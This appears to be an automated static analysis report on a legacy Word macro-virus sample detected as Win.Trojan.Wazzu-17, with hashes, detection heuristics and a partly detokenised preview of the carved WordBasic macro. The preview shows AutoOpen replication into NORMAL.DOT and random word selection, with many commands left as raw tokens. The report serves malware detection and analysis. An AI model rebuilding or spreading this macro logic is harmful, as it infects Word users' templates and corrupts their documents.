Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7f47929c791f3990…

MALICIOUS

Office (OLE)

6.5 KB First seen: 2014-03-22
MD5: f6597449aaafbccce8d0d14f862813b6 SHA-1: c2195ea68f7ffebab1463ac0c5f07be10ded050e SHA-256: 7f47929c791f3990225e3a70182cafbd410f7797c40c38a21705f8d0c7b8cf89
102 Risk Score

Heuristics 3

  • ClamAV: Win.Trojan.Wazzu-17 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Wazzu-17
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 550 bytes
SHA-256: 4f0cf1e8d4f0d92f4a8d13de55b561604faa02e21e4b86363ed2882fa4a1b0f0
Preview script
First 1,000 lines of the extracted script
MAIN
, - * HITCH
@cmd0056
ABC @cmd0056
ABC
FileMacro$ = ABC = "\" = ABC @cmd0700 ":AutoOpen"
GlobMacro$ = "Global:AutoOpen"
MacroFile$ = @cmd80af @cmd8009 @cmd818e @cmd80b8 0 , 10
MacroFile$ = "NORMAL.DOT"
@cmd80c2 GlobMacro$ , FileMacro$
@cmd0054 = 1
@cmd80c2 FileMacro$ , GlobMacro$
POINTER
* SEEYA
, - * 0
POINTER
A = 1 3
@cmd800e
RANDOMWORD
@cmd8116
SelWord$ = @cmd8015
@cmd001c
RANDOMWORD
@cmd8012 SelWord$ = " "
@cmd800e
RANDOMWORD
@cmdc010
RANDOMWORD
@cmd0056
ABC @cmd004e
ABC
WordNum = @cmd8002 @cmd800e @cmd8006 ABC
@cmdc010
@cmdc003 WordNum

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